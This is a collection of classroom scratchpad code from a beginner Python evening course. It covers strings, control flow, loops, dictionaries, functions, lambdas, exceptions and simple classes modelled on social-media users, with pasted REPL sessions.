Python Evening 24/2

Python Evening 24/2

Scratchpad #1 and #2

# print("Hello World!")

# print(11)  # prints 11
# 100.34 + 2  # some float

# print(type(100 + 2))

# print((2 + 4) * 3.2 + (10 / 2.5))


x = 100.34 + 2
y = 100

# print(type(y))

result = 1456

print(result)

exam_scores = 0

result2 = -90

score = result + result2



-------------------

# name: str = "John Doe"
# age: int = 25


name: str = "John Doe says, 'hello'"
age = 25


print(type(name))

name = True

print(type(name))
# print(age)

print(age)


message: str = "hello world"


twitter_handle = None
message = 'Linus at FOSSConf, "Talk is cheap. Show me the code."'
alan_turing = "'Machines' take me by surprise with great frequency"

message = "Hello World, 'Universe'"


message = 'Hello World, "Universe"'
message = "Hello World, 'Universe'"

# >>> message = 'Linus at FOSSConf, 'Talk is cheap. Show me the code.''
#   File "<stdin>", line 1
#     message = 'Linus at FOSSConf, 'Talk is cheap. Show me the code.''
#                                    ^
# SyntaxError: invalid syntax
# >>>
# >>>
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> message = 'Hello World, \'Universe\''
# >>>
# >>>
# >>>
# >>> message
# "Hello World, 'Universe'"
# >>>
# >>>
# >>>
# >>> message = "Hello \n World"
# >>>
# >>> message
# 'Hello \n World'
# >>>
# >>> print(message)
# Hello
#  World
# >>>
# >>> message = "Hello \t World"
# >>>
# >>> print(message)
# Hello    World
# >>> message = "Hello \t\t\t\t\t World"
# >>>
# >>> print(message)
# Hello                                    World
# >>> message = "Hello \t\t\t World, \n\n\n\n\t\t\tUniverse"
# >>>
# >>>
# >>> message
# 'Hello \t\t\t World, \n\n\n\n\t\t\tUniverse'
# >>> print(message)
# Hello                    World,


#                         Universe
# >>> message = "Hello \v\v\v World"
# >>>
# >>> print(message)
# Hello


#  World
# >>> message = "Hello \\ World,Universe"
# >>>
# >>> print(message)
# Hello \ World,Universe
# >>> message = "Hello \ World"
# >>>
# >>> print(message)
# Hello \ World
# >>> message = "Hello \World\,Universe""
#   File "<stdin>", line 1
#     message = "Hello \World\,Universe""
#                                        ^
# SyntaxError: EOL while scanning string literal
# >>>
# >>> message = "Hello \World\,Universe"
# >>>
# >>> print(message)
# Hello \World\,Universe
# >>>
# >>> message = "Hello \north country"
# >>>
# >>> print(message)
# Hello
# orth country
# >>> message = "Hello \\north country"
# >>>
# >>>
# >>> print(message)
# Hello \north country

# >>> first_name = "john"
# >>> last_name = "doe"
# >>>
# >>> first_name + last_name
# 'johndoe'
# >>>
# >>> first_name + " " + last_name + "."
# 'john doe.'
# >>>
# >>>
# >>> first_name + 10
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# TypeError: can only concatenate str (not "int") to str
# >>>
# >>>
# >>> first_name + "10"
# 'john10'
# >>>
# >>>
# >>> "10" + "\t\t\t\t" + "10"
# '10\t\t\t\t10'
# >>> print("10" + "\t\t\t\t" + "10")
# 10                              10


# >>> al
# 'n'
# >>> name
# 'john doe'
# >>>
# >>> type(name)
# <class 'str'>
# >>> type(al)
# <class 'str'>
# >>>
# >>>
# >>>
# >>> "john"[0]
# 'j'
# >>> "john"[5]
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# IndexError: string index out of range
# >>>
# >>>
# >>> name[4]
# ' '
# >>> name[3]
# 'n'
# >>> name[2]
# 'h'
# >>> name[8]
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# IndexError: string index out of range
# >>> name[6]
# 'o'
# >>> name[7]
# 'e'
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> "10" + "20"
# '1020'
# >>>
# >>> int("10") + int("20")
# 30
# >>>
# >>> int("ten")
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# ValueError: invalid literal for int() with base 10: 'ten'
# >>>
# >>>
# >>>
# >>> str(True)
# 'True'
# >>>
# >>>
# >>> float(110)
# 110.0
# >>> int(1002.3223)
# 1002
# >>>
# >>>
# >>> int(10.2)
# 10
# >>> int("10.2")
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# ValueError: invalid literal for int() with base 10: '10.2'
# >>>
# >>>
# >>> float("10.2")
# 10.2


name = "John Doe"
name.upper()  # 'JOHN DOE'
name.lower()  # 'john doe'
name.capitalize()  # 'John doe'
name.swapcase()  # 'jOHN dOE'

name = "    john doe         "
name.strip()  # 'john doe'
name.rstrip()
name.lstrip()

name.split()  # LATER


name = "John Doe"
name.find("Doe")  # 5
name.lower().find("doe")  # 5

name.replace("John", "Jack")
# 'Jack Doe'

name.startswith("j")  # False
name.endswith("e")  # True
name.count("e")  # 1

"".join()  # LATER

Scratchpad #3

# https://u5b.f44.myftpupload.com/whitepaper/python-evening-24-2/


# # print("Enter the amount in USD. Please only enter an integer.")
# usd = input("Enter the amount in USD:       ")

# print(f"{usd} USD in INR is {int(usd) * 74}")


# name = input("Please enter your name: ")

# if name.lower() == "mark zuckerberg":
#     print("Facebook")
#     print("Hello World")
# elif name.lower() == "jack dorsey":
#     print("Twitter")
# elif name.lower() == "sundar pichai":
#     print("Google")
# else:
#     print("Someone I don't know")


# age = int(input("Please enter your age: "))
# city = input("Please enter your name: ")

# if (age >= 18 and age < 21) and city == "delhi":
#     print("You are allowed to enter but not drink.")
# elif age >= 21 and age < 65:
#     print("You are allowed to enter and drink.")
# elif age >= 65:
#     print("You are allowed and drink for free.")
# else:
#     print("You are not allowed")


# if age > 18:
#     if age < 21:
#         print("You are allowed to enter but not drink")
#     else:
#         print("GO HOME!")
# else:
#     print("You are not allowed")


print("ROCK PAPER SCISSOR")

player1 = input("Please enter player1's choice: ")
player2 = input("Please enter player2's choice: ")


if (
    (player1 == "rock" and player2 == "scissor")
    or (player1 == "scissor" and player2 == "paper")
    or (player1 == "paper" and player2 == "rock")
):
    print("Player 1 wins")
elif (
    (player2 == "rock" and player1 == "scissor")
    or (player2 == "scissor" and player1 == "paper")
    or (player2 == "paper" and player1 == "rock")
):
    print("Player 2 wins")
elif player1 == player2:
    print("It's a tie")
else:
    print("Something went wrong")

Scratchpad #4 and #5

print("ROCK PAPER SCISSOR")

player1 = input("Please enter player1's choice: ").lower()
player2 = input("Please enter player2's choice: ").lower()


# player1 = player1
# player2 = player2


if (
    (player1 == "rock" and player2 == "scissor")
    or (player1 == "scissor" and player2 == "paper")
    or (player1 == "paper" and player2 == "rock")
):
    print("Player 1 wins")
elif (
    (player2 == "rock" and player1 == "scissor")
    or (player2 == "scissor" and player1 == "paper")
    or (player2 == "paper" and player1 == "rock")
):
    print("Player 2 wins")
elif player1 == player2:
    print("It's a tie")
else:
    print("Something went wrong")



#-----------------

# odd_nums = list(range(1, 50, 2))
# print(odd_nums)

# if odd_nums[-1 + 1] in odd_nums:
#     print("YESSSS")
# else:
#     print("NOOOO")


# tasks = []

# print(len(tasks))

Scratchpad #6 and #7

# nums = [1, 2, 3, 4, 5, 6, 7, 8]

# # for num in nums:
# #     print("Hello World")


# # for num in nums:
# #     print(f"{num ** 2}: Hello World")


# nums_doubled = []


# for num in nums:
#     # nums_doubled = num
#     nums_doubled.append(num * 2)


# print(nums_doubled)


for letter in "eod nhoj":
    print(letter, end="\n")


# ------------------------

# r = range(1, 100)

# for num in r:
#     print(num)


# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print(f"{num} - FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Even")
#     else:
#         print(f"{num} - Odd")


# secret_password = input("Please enter your password: ")


# while secret_password != "balony1":
#     secret_password = input("Incorrect! Enter password again: ")


# print("Welcome to the secret place!")


# movies = ["inception", "titanic", "fight club", "avengers"]

# # for num in range(10):
# #     print(num)

# for movie in movies:
#     print(movie)


# num = 0
# while num < 11:
#     print(num)
#     num += 1
#     # num = num + 1

# movie = 0
# while movie < len(movies):
#     print(movies[movie])
#     movie += 1


# while True:
#     command = input("Type 'exit' to exit: ")

#     if command == "exit":
#         break


# nums = [1, 2, 3, 4, 5, 6, 7]

# nums_squared = []

# for num in nums:
#     nums_squared.append(num * num)


# print(nums)
# print(nums_squared)


# nums_sq = [num * num for num in nums]
# print(nums_sq)


# [1, 4, ]


# [print(num * num, end=" ") for num in nums]


# [num * num for num in nums]


# for num in range(3):
#     # print("Hello World")
#     for nu in range(5):
#         print(nu)


# count = 0
# while count < 3:
#     print("Hello World")
#     count += 1


# for num in range(1, 6):
#     # print(num)
#     print("Hello")


# for val in range(3):
#     print("Hello World")
#     for num in range(1, 6):
#         print(num)
#     print("\n\n")


# for num in range(1, 6):
#     print("Hello")
#     for num2 in range(3):
#         print("\tWorld")


nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

for lst in nested_list:
    print(lst)

Scratchpad #9

# num: int = 100
# num = num / 3
# # print(num)
# print("Hello World,\n\n this is a message.")
# print('Linus says,\t "Show \\me the code"')

# print("Hello World, this is a message.")
# print("Hello World, this is a message.")
# nums = list(range(10))
# nums[12]

# print(nums)
# print("Hello World, this is a message.")
# print("Hello World, this is a message.")
# print("Hello World, this is a message.")
# print("Hello World, this is a message.")


# product1 = ["AMD Threadripper 4900X", "AMD", "This is some description", 300000]
# product2 = ["AMD", "This is some description", 300000, "AMD Threadripper 4900X"]
# product3 = ["AMD Threadripper 4900X", "AMD", "This is some description", 300000]

# print(product1[1])
# print(product1[3])
# print(product1[2])

# print(product2[1])
# print(product2[3])
# print(product2[2])


# product = {
#     "memory_type": "DDR4",
#     "unlocked": True,
#     "no_of_cores": 64,
#     1: True,
#     "name": "AMD Ryzen Threadripper 3990X",
#     "no_of_threads": [16,32,64,128],
#     "price": 333999.00,
# }

# song = {
#     "name": "In the end",
#     "artist": "Linkin park",
#     "duration": 3.52,
#     "year": 2002,
#     "album": "Meteora",
#     "song": "https://spotify.com/media?play",
#     "10": True,
# }

# print(song["name"])
# print(song[10])


# my_playlist = [
#     {
#         "name": "In the end",
#         "artist": "Linkin park",
#         "duration": 3.52,
#         "year": 2002,
#         "album": "Meteora",
#         "song": "https://spotify.com/media?play",
#     },
#     {
#         "name": "In the end",
#         "artist": "Linkin park",
#         "duration": 3.52,
#         "year": 2002,
#         "album": "Meteora",
#         "song": "https://spotify.com/media?play",
#     },
#     {
#         "name": "In the end",
#         "artist": "Linkin park",
#         "duration": 3.52,
#         "year": 2002,
#         "album": "Meteora",
#         "song": "https://spotify.com/media?play",
#     },
# ]

# print(product["name"])
# print(product["unlocked"])
# print(product["price"])


# song = {
#     "name": "In the end",
#     "artist": "Linkin park",
#     "duration": 3.52,
#     "year": 2002,
#     "album": "Meteora",
#     "song": "https://spotify.com/media?play",
#     "10": True,
# }


# for item in song.values():
#     print(item)

# for item in song.keys():
#     print(item)


# for item in song.items():
#     print(item)

# for bro, unbro in song.items():
#     print(f"The value of {bro} is {unbro}")

# for key, value in song.items():
#     print(f"The value of {key} is {value}")

# for k, v in song.items():
#     print(f"The value of {k} is {v}")


# song_keys = []
# song_values = []

# # for key in song.keys():
# #     song_keys.append(key)

# for key, value in song.items():
#     song_keys.append(key)
#     song_values.append(value)


# print(song_keys)
# print(song_values)


form = ["first_name", "last_name", "age", "phone", "twitter", "facebook", "aadhaar_no"]


john_profile = {}.fromkeys(form, None)


john_profile["first_name"] = "John"
john_profile["last_name"] = "Cho"
john_profile["twitter"] = "jcho"

print(john_profile)


# >>> song = {
# ...     "name": "In the end",
# ...     "artist": "Linkin park",
# ...     "duration": 3.52,
# ...     "year": 2002,
# ...     "album": "Meteora",
# ...     "song": "https://spotify.com/media?play",
# ...     "10": True,
# ... }
# >>>
# >>> song
# {'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52, 'year': 2002, 'album': 'Meteora', 'song': 'https://spotify.com/media?play', '10': True}
# >>>
# >>>
# >>>
# >>>
# >>> song["art"]
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# KeyError: 'art'
# >>>
# >>>
# >>> song.get("art")
# >>>
# >>>
# >>> song.get("name")
# 'In the end'
# >>>
# >>> song.get("artist")
# 'Linkin park'
# >>>
# >>> print(song.get("artist"))
# Linkin park
# >>>
# >>> print(song.get("asdasd"))
# None
# >>>
# >>> song
# {'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52, 'year': 2002, 'album': 'Meteora', 'song': 'https://spotify.com/media?play', '10': True}
# >>>
# >>>
# >>>
# >>> song.pop("song")
# 'https://spotify.com/media?play'
# >>>
# >>> song
# {'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52, 'year': 2002, 'album': 'Meteora', '10': True}
# >>>
# >>>
# >>> song.popitem()
# ('10', True)
# >>>
# >>> song.popitem()
# ('album', 'Meteora')
# >>> song.popitem()
# ('year', 2002)
# >>> song
# {'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>>
# >>>
# >>>
# >>> song
# {'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>>
# >>>
# >>> song2 = {"album": "Meteora", "lyricist": "Kamal R Khan"}
# >>>
# >>>
# >>> song2
# {'album': 'Meteora', 'lyricist': 'Kamal R Khan'}
# >>>
# >>>
# >>> song
# {'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>>
# >>> song2.update(song)
# >>>
# >>>
# >>> song2
# {'album': 'Meteora', 'lyricist': 'Kamal R Khan', 'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>>
# >>> song2
# {'album': 'Meteora', 'lyricist': 'Kamal R Khan', 'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>>
# >>> song3 = {"album": "Metora", "lyricist": "Mike Shinoda"}
# >>>
# >>> song3
# {'album': 'Metora', 'lyricist': 'Mike Shinoda'}
# >>>
# >>> song2
# {'album': 'Meteora', 'lyricist': 'Kamal R Khan', 'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>> song2.update(song3)
# >>>
# >>> song2
# {'album': 'Metora', 'lyricist': 'Mike Shinoda', 'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>>
# >>>
# >>> song2
# {'album': 'Metora', 'lyricist': 'Mike Shinoda', 'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> Python Programming
#   File "<stdin>", line 1
#     Python Programming
#            ^
# SyntaxError: invalid syntax
# >>>
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> numbers = dict(first=1, second=2, third=3)
# >>>
# >>>
# >>>
# >>>
# >>> numbers
# {'first': 1, 'second': 2, 'third': 3}
# >>>
# >>>
# >>>
# >>>
# >>>
# >>>
# >>> {k:v for k,v in song}
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
#   File "<stdin>", line 1, in <dictcomp>
# ValueError: too many values to unpack (expected 2)
# >>>
# >>>
# >>> {k:v for k,v in song.items()}
# {'name': 'In the end', 'artist': 'Linkin park', 'duration': 3.52}
# >>>
# >>>
# >>> {k.upper():v for k,v in song.items()}
# {'NAME': 'In the end', 'ARTIST': 'Linkin park', 'DURATION': 3.52}
# >>>
# >>> {k.upper():str(v) for k,v in song.items()}
# {'NAME': 'In the end', 'ARTIST': 'Linkin park', 'DURATION': '3.52'}
# >>>
# >>>
# >>> form = ["first_name", "last_name", "age", "phone", "twitter", "facebook", "aadhaar_no"]
# >>>
# >>>
# >>>
# >>> form
# ['first_name', 'last_name', 'age', 'phone', 'twitter', 'facebook', 'aadhaar_no']
# >>>
# >>>
# >>> {key:None for item in form}
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
#   File "<stdin>", line 1, in <dictcomp>
# NameError: name 'key' is not defined
# >>> {key:None for key in form}
# {'first_name': None, 'last_name': None, 'age': None, 'phone': None, 'twitter': None, 'facebook': None, 'aadhaar_no': None}
# >>>
# >>>
# >>>
# >>> {prop:0 for prop in form}
# {'first_name': 0, 'last_name': 0, 'age': 0, 'phone': 0, 'twitter': 0, 'facebook': 0, 'aadhaar_no': 0}
# >>>
# >>>
# >>>
# >>>
# >>> [num * 2 for num in [1,2,3,4,5,6]]
# [2, 4, 6, 8, 10, 12]
# >>>
# >>>
# >>>
# >>> {k:v for k,v in {"name": "john", "age": 10}}
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
#   File "<stdin>", line 1, in <dictcomp>
# ValueError: too many values to unpack (expected 2)
# >>>
# >>>
# >>> {k:v for k,v in {"name": "john", "age": 10}.items()}
# {'name': 'john', 'age': 10}
# >>>
# >>>
# >>>
# >>> [num for num in [1,2,3,4,5,6]]
# [1, 2, 3, 4, 5, 6]
# >>>
# >>>
# >>>
# >>> {k.upper():v for k,v in {"name": "john", "age": 10}.items()}
# {'NAME': 'john', 'AGE': 10}
# >>>
# >>> {k.upper():"hello" for k in range(10)}
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
#   File "<stdin>", line 1, in <dictcomp>
# AttributeError: 'int' object has no attribute 'upper'
# >>>
# >>> {k:"hello" for k in range(10)}
# {0: 'hello', 1: 'hello', 2: 'hello', 3: 'hello', 4: 'hello', 5: 'hello', 6: 'hello', 7: 'hello', 8: 'hello', 9: 'hello'}
# >>>
# >>>
# >>>
# >>>
# >>> {k:k*10 for k in range(10)}
# {0: 0, 1: 10, 2: 20, 3: 30, 4: 40, 5: 50, 6: 60, 7: 70, 8: 80, 9: 90}
# >>>
# >>> {k/2:k*10 for k in range(10)}
# {0.0: 0, 0.5: 10, 1.0: 20, 1.5: 30, 2.0: 40, 2.5: 50, 3.0: 60, 3.5: 70, 4.0: 80, 4.5: 90}
# >>>
# >>>
# >>>
# >>>
# >>>

Scratchpad #10

# num = 2
# result = "even" if num % 2 == 0 else "odd"


# result = None

# if num % 2 == 0:
#     result = "even"
# else:
#     result = "odd"


# locations = {(19.10112334, 72.1233124): "Mumbai", (19.10112334, 72.1233124): "Pune"}


# def fav_actors():
#     actors = ["Keanu Reeves", "Kamal R Khan", "Tom Cruise", "Will Smith"]
#     for actor in actors:
#         print("".join(set(actor)))


# result = fav_actors()
# print(result)


# def say_hello():
#     print("LINE 1")
#     print("LINE 2")
#     print("LINE 3")
#     print("LINE 4")
#     return "Hello!"


# # result = "Hello!"

# print(say_hello())


# import random
from random import random


def flip_coin():
    if random() > 0.5:
        return "HEADS"
    else:
        return "TAILS"


print(flip_coin())

Scratchpad #12

# def add(*args):
#     print(type(args))
#     print(args)


# add(12, 32, 32, 443, 43, 4545, 45, 4545)
# add("john", "jane", "jack")


# def add(*nums):
#     print(list(nums))
#     total = 0
#     for num in nums:
#         total += num
#     return total


# print(add(12, 45, 32, -65, 14))
# print(add(10, 10))


# def profile(**kwargs):
#     print(kwargs)


# profile(name="john", age=25, occupation="programmer")


# def user_details(**kwargs):
#     for k, v in kwargs.items():
#         print(f"{k.upper()} - {str(v).upper()}")


# user_details(
#     first_name="John", last_name="Doe", age=30, occupation="Software Developer"
# )


# def add(a, b, c, *args):
#     # print(a, b)
#     # print(args)
#     total = 0
#     for num in args:
#         total += num
#     return total + a + b + c


# print(add(100, 200, 10, 20, 30))


# def user_details(first, last, **kwargs):
#     print(first, last)
#     for k, v in kwargs.items():
#         print(f"{k.upper()} - {str(v).upper()}")


# user_details(first="John", last="Doe", age=25, job="programmer")


# def generic(*args, **kwargs):
#     print(args)
#     print(kwargs)


# generic("John", "Doe", 25, occupation="Programmer", language="Python")


# def show_info(a, b, c, *args, role="moderator", **kwargs):
#     return [a, b, c, args, role, kwargs]


# print(
#     show_info(
#         1, 2, 3, 32423, 324, "jack", first_name="John", last_name="Doe", role="student"
#     )
# )


# def add_all_values(*args):
#     total = 0
#     for num in args:
#         total += num
#     print(total)


# nums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]

# add_all_values(*nums)


# def say_name(first, last):
#     print(f"My name is {first} {last}.")


# name = {"first": "Robert", "last": "Moore"}

# say_name(**name)

# import time
# from time import sleep


# def print_song(song, artist, album, length):
#     print(song)
#     print(artist)
#     print(album)
#     print(length)
#     print("********************")


# my_playlist = [
#     {
#         "song": "Castle of Glass",
#         "artist": "Linkin Park",
#         "album": "Some Alb",
#         "length": 3,
#     },
#     {
#         "song": "See you again",
#         "artist": "Wiz Khalifa",
#         "album": "Other Alb",
#         "length": 4,
#     },
#     {
#         "song": "Baby",
#         "artist": "Justin Beiber",
#         "album": "Another Alb",
#         "length": 4,
#     },
# ]

# for song in my_playlist:
#     print(f"Playing {song['song']}")
#     print_song(**song)
#     # time.sleep(song["length"])
#     sleep(song["length"])


# def add(a, b):
#     return a + b


# def mul(a, b):
#     return a * b


# def math(a, b, fn):
#     return fn(a, b)


# # print(math(10, 3, mul))

# print(math(10, 5, lambda a, b: a + b + 1000000))


# div = lambda a, b: a / b


# # def div(a, b):
# #     return a / b


# print(div(10, 5))


# # square = lambda num: num * num


# res2 = [name.upper() for name in names]

# print(tuple(res))
# print(res2)

# def uppercase(name):
#     return name.upper()


# names = ["john", "jane", "jack", "james", "jason", "jaspreet", "justin", "jimmy"]

# res = map(lambda name: name.upper(), names)


# for name in res:
#     print(name)

# # print(list(res))


# nums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]

# # res = filter(lambda num: num % 2 == 0, nums)
# res = filter(lambda num: num % 2 == 0, range(100))

# # res2 = [num for num in nums if num % 2 == 0]

# print(list(res))
# # print(res2)


# names = ["john", "jane", "jack", "james", "jason", "jaspreet", "justin", "jimmy"]


# names2 = ["john", "ben", "brad", "james", "zaka", "lal", "nash", "jimmy"]

# # result = filter(lambda name: len(name) > 4, names)

# # result2 = filter(lambda name: name[0] == "b", names2)
# result3 = map(lambda name: name.upper() if name[0] == "b" else name.lower(), names2)

# # for name in result:
# #     print(name)


# print(list(result3))


names = ["john", "jane", "jack", "james", "jason", "jaspreet", "justin", "jimmy"]

# result = map(lambda name: name.upper(), filter(lambda name: len(name) == 4, names))
# res1 = map(lambda name: name.upper(), names)
# res2 = filter(lambda name: len(name) == 4, names)
# print(list(res1))
# print(list(res2))


# result = map(lambda name: name.upper(), filter(lambda name: len(name) == 4, names))
# print(list(result))


# result = list(
#     map(
#         lambda name: name.upper() if name[-1] == "e" else name,
#         filter(lambda name: len(name) == 4, names),
#     )
# )
# print(result)


print(
    list(
        map(
            lambda name: name.upper() if name[-1] == "e" else name,
            filter(lambda name: len(name) == 4, names),
        )
    )
)

Scratchpad #13

# lst = [1, 2, 3]
# lst2 = ["john", "jack", "jane", "", "james"]

# my_playlist = [
#     {
#         "song": "Castle of Glass",
#         "artist": "Linkin Park",
#         "album": "Some Alb",
#         "length": 3,
#     },
#     {
#         "song": "Castle of Glass",
#         "artist": "Linkin Park",
#         "album": "Some Alb",
#         "length": 3,
#     },
#     {
#         "song": "Baby",
#         "artist": "Justin Beiber",
#         "album": "Another Alb",
#         "length": 4,
#     },
# ]

# if all(my_playlist):
#     for song in my_playlist:
#         print(song["song"])
# else:
#     print("Data Corrupted")


people = ["John", "Jack", "James", "Jason", "Jane", "Jacob"]
print(all([name[0] == "J" for name in people]))

Scratchpad #14 & #15

# def say_name(first, last):
#     print(f"My name is {first} {last}")


# name = {"first": "John", "last": "Doe"}
# # say_name(first="John", last="Doe")
# say_name(**name)
# # say_name(last="doe", first="john")


# def hello_with_kwargs(**kwargs):
#     if "name" in kwargs:
#         print(kwargs["name"])
#     else:
#         print("ERROR")


# hello_with_kwargs(name="john", age=25)


def contains_john(*args):
    return any(args)


contains_john("john", "jane", "jack")

#-----------------------------------------



# def divide(a, b):
#     return a / b


# print(divide(1, 0))


# def colored_output(text, color):
#     colors = ("red", "yellow", "blue", "green", "purple")

#     if type(text) is not str:
#         raise TypeError("Ch****, sahi type ka data daal!")

#     if type(color) is not str:
#         raise TypeError("Ch****, sahi type ka data daal!")

#     if color not in colors:
#         raise ValueError("Abe saale, yeh color tera baap bhi print nahi kar paega.")

#     # some logic
#     print(f"{text} in {color}!")


# # Func call
# # colored_output("Hello world", "red")
# colored_output([1, 2, 3], "GOLD")


# def divide(a, b):
#     # print(a / b)
#     try:
#         print(a / b)
#     except (ZeroDivisionError, TypeError) as err:
#         print("Please check the your arguments")
#         print(err)
#         # print(str(err).upper())
#         # print("You cannot divide by zero!")
#         # print("SOMETHING WENT WRONG!")


# divide(10, "hello")
# divide(10, 0)
# print("EXTRA LOGIC")


# def divide(a, b):
#     try:
#         res = a / b
#     except Exception as err:
#         print(err)
#     else:
#         print(res)
#     finally:
#         print("I WILL ALWAYS RUN!")


# # divide(10, "hello")
# divide(10, 4)

# import pdb


# nums = [1, 2, 3, 4, 5, 6, 7]

# pdb.set_trace()

# for i in range(10):
#     print(nums[i])


def make_cycle(color, material, features):
    return {
        "color": color,
        "material": material,
        "features": features,
        "peddle": lambda x: print("I am running"),
    }


john_cycle = make_cycle("red", "steel", "with gears")
# print(john_cycle)
john_cycle["peddle"](10)
print(john_cycle["color"])
print(john_cycle["material"])
print(john_cycle["features"])


class Cycle:
    def __init__(self, color, material, features):
        self.color = color
        self.material = material
        self.features = features

    def peddle(self, x):
        print("I am running")


jane_cycle = Cycle("blue", "magnesium", "with horn")
jack_cycle = Cycle("orange", "plastic", "with wheels")

jane_cycle.peddle(10)
print(jane_cycle.color)
# print(jane_cycle.material)
# print(jane_cycle.features)

print(jack_cycle.color)


# class Bank_Customer

# name
# age
# aadhar
# pan
# acc
# balance

# deposit
# withdraw
# close

Scratchpad #16

# class User:
#     pass
# first_name
# last_name
# email
# phone
# groups = []

# METHODS
# login
# logout
# create_a_group
# add_as_friend


# user1 = User()
# user2 = User()

# user.login()


# Instagram

# -> User
# ATTRIBUTES (variables)
# -> username (str) -> private
# -> password (str)
# -> email (str)
# -> bio (str)
# -> followers ([User])
# -> following ([User])
# -> profile_photo (str)
# -> messages ([{msg: str, sender: User}])
# -> photos ([Photo])

# METHODS (functions)
# -> login
# -> logout
# -> update_profile
# -> update_password
# -> send_dm
# -> post_photo
# -> comment
# -> follow


# -> Photo
# ATTRIBUTES (variables)
# -> image_url (str)
# -> description (str)
# -> location (str)
# -> uploader (User)
# -> likes ([User])
# -> comments ([{comment: str, user: User, date: str}])

# METHODS
# -> edit_description
# -> remove_comment


# Story
# Reels


class User:
    def __init__(self, username, password, email):
        self.username = username
        self.password = password
        self.email = email
        self.bio = None
        # self.__followers = []  # self._User__followers
        # self.__following = []
        self.followers = []
        self.following = []
        self.photos = []
        self.profile_photo = None
        self.messages = []


user1 = User("john2021", "doe234", "john_doe@gmail.com")
user2 = User("jane2099", "doe768", "jane_doe_know@gmail.com")

# user3 = User() # error


# print(type(user1) == User)
# print(type(user2) == User)

# print(user1.username)
# print(user2.email)

# print(user1._User__followers)
# print(user2._User__following)

print(user1.username)

user1.username = "KamalKhanCoolDude"
user1.followers.append("KamalBro")

print(user1.username)
print(user1.followers)

print(user1.bio)

user1.bio = "I am Kamal"

print(user1.bio)

Scratchpad #17

# def lower(a, b):
#     return a * (a < b) + b * (b <= a)

# lower = lambda a, b: a * (a < b) + b * (b <= a)


# class User:
#     total_users = 0
#     active_users = 0

#     def __init__(self, username, password, email, dob):
#         self.username = username
#         self._password = password
#         self.email = email
#         self._dob = dob
#         self.bio = None
#         self.followers = []
#         self.following = []
#         self.photos = []
#         self.profile_photo = None
#         self.messages = []
#         self.isOnline = False
#         User.total_users += 1

#     def __repr__(self):
#         return f"User - {self.username}"

#     # return f"{self.username}\nBio: {self.bio}\nFollowers: {len(self.followers)} | Following: {len(self.following)}"

#     @classmethod
#     def get_total_users(cls):
#         return cls.total_users

#     def get_profile(self):
#         return {
#             "username": self.username,
#             "email": self.email,
#             "bio": self.bio,
#             "followers": self.followers,
#         }

#     def get_password(self):
#         return self._password

#     def set_password(self, new_password):
#         self._password = new_password
#         print("Your password has been changed successfully!")

#     def get_age(self):
#         age = 2021 - int(self._dob.split("/")[-1])
#         return f"{self.username} is {age} years old."

#     def login(self, password=None):
#         if password == self._password:
#             User.active_users += 1
#             self.isOnline = True
#             print(f"{self.username} has logged in")
#         else:
#             return f"Incorrect Password"

#     def logout(self):
#         if self.isOnline:
#             User.active_users -= 1
#             self.isOnline = False
#             print(f"{self.username} has logged out!")
#         else:
#             return f"Please login in first"


# user1 = User("john2021", "doe234", "john_doe@gmail.com", "12/6/2001")
# user2 = User("jane2099", "doe768", "jane_doe_know@gmail.com", "12/8/1999")

# print(user1.total_users)
# print(user2.total_users)

# print(user1.username)
# user2.email = "jane@email.com"
# print(user2.email)
# print(user1.get_profile())
# print(user2.get_password())
# user2.set_password("doe999")
# print(user2.get_password())
# print(user1.get_age())
# print(User.total_users)

# user1.login("doe234")
# user2.login("doe768")
# print(User.active_users)
# user1.logout()
# user2.logout()
# print(User.active_users)


# print(User.get_total_users())
# print(user1.get_total_users())


# class Math:
#     @classmethod
#     def add(cls, a, b):
#         return a + b

#     @classmethod
#     def sub(cls, a, b):
#         return a - b

#     @classmethod
#     def mul(cls, a, b):
#         return a * b


# print(Math.add(10, 20))


# user1 = User("john2021", "doe234", "john_doe@gmail.com", "12/6/2001")
# user2 = User("jane2099", "doe768", "jane_doe_know@gmail.com", "12/8/1999")

# print(user1)
# print(user2)


# Reddit


class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def login(self):
        print(f"{self.username} has logged in")

    def __repr__(self):
        return self.username


class Moderator:
    def __init__(self, username, password):
        self.username = username
        self.password = password
        self.priviledge = 8

    def login(self):
        print(f"{self.username} has logged in")

    def create_group(self, groupname):
        print(f"{groupname} has been created")


class Admin(User):
    pass


john = User("john99", "john@123")

jane = Admin("jane", "jane123")

print(john)
print(jane)

jane.login()

Scratchpad #18

# from typing import Union

# num: int = 10
# name: str = "John"


# def divide(a: int, b: int) -> Union[int, float]:
#     result = a / b
#     return int(result)


# class User:
#     def __init__(self, username, password, level):
#         self.username = username
#         self._password = password
#         self.level = level
#         self.active = False
